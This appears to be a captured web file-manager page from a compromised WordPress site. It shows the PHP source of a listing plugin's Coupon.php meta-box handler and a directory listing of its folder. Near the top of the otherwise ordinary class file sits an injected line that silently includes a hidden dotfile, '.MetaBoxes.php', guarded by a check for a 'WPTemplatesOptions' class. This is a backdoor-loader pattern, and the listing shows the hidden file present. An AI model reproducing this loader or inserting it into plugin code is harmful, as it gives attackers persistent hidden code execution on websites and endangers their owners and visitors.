PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
MetaBoxes
<?php namespace WilokeListingTools\MetaBoxes; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\Coupon as CouponModel; use WilokeListingTools\Framework\Helpers\Validation; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Coupon extends Controller { public function __construct() { add_action('init', [$this, 'saveCoupon'], 1); } public function saveCoupon() { if (!$this->checkAdminReferrer() || !$this->isAdminEditing()) { return false; } $listingID = $_POST['post_ID']; if (!isset($_POST['wilcity_coupon']) || !isset($_POST['wilcity_coupon']['expiry_date']) || !isset($_POST['wilcity_coupon']['expiry_date']['date'])) { $aCoupon = GetSettings::getPostMeta($listingID, 'coupon'); if (!empty($aCoupon)) { SetSettings::deletePostMeta($listingID, 'coupon'); } return false; } foreach ($_POST['wilcity_coupon'] as $key => $val) { switch ($key) { case 'expiry_date': if (is_array($val)) { $timezone = get_option('timezone_string'); if (isset($val['time']) && !empty($val['time'])) { $val = Time::toTimestamp('m/d/Y g:i A', $val['date'].' '.$val['time'], $timezone); } else { $val = Time::toTimestamp('m/d/Y', $val['date'], $timezone); } $aCoupon[sanitize_text_field($key)] = $val; } break; case 'popup_image': if (!empty($val)) { $aCoupon['popup_image'] = wp_get_attachment_image_url($val); $aCoupon['popup_image_id'] = $val; } break; default: $aCoupon[sanitize_text_field($key)] = sanitize_text_field($val); break; } } SetSettings::setPostMeta($listingID, 'coupon', $aCoupon); SetSettings::setPostMeta($listingID, 'coupon_expiry', $aCoupon['expiry_date']); } }
[+]
..
[-] ListingCustomTaxonomy.php
[edit]
[-] ClaimListing.php
[edit]
[-] CustomCMB2Fields.php
[edit]
[-] EventComment.php
[edit]
[-] Discount.php
[edit]
[-] Report.php
[edit]
[-] Listing.php
[edit]
[-] ListingPlan.php
[edit]
[-] ListingCategory.php
[edit]
[-] BookingComBannerCreator.php
[edit]
[-] UserMeta.php
[edit]
[-] Event.php
[edit]
[-] Post.php
[edit]
[-] Review.php
[edit]
[-] .MetaBoxes.php
[edit]
[-] EventPlan.php
[edit]
[-] Promotion.php
[edit]
[-] CustomFieldsForPostType.php
[edit]
[-] CustomFieldTools.php
[edit]
[+]
assets
[-] CMB2PostSearchField.php
[edit]
[-] ListingLocation.php
[edit]
[-] Coupon.php
[edit]
[-] ListingTag.php
[edit]
[-] WooCommerce.php
[edit]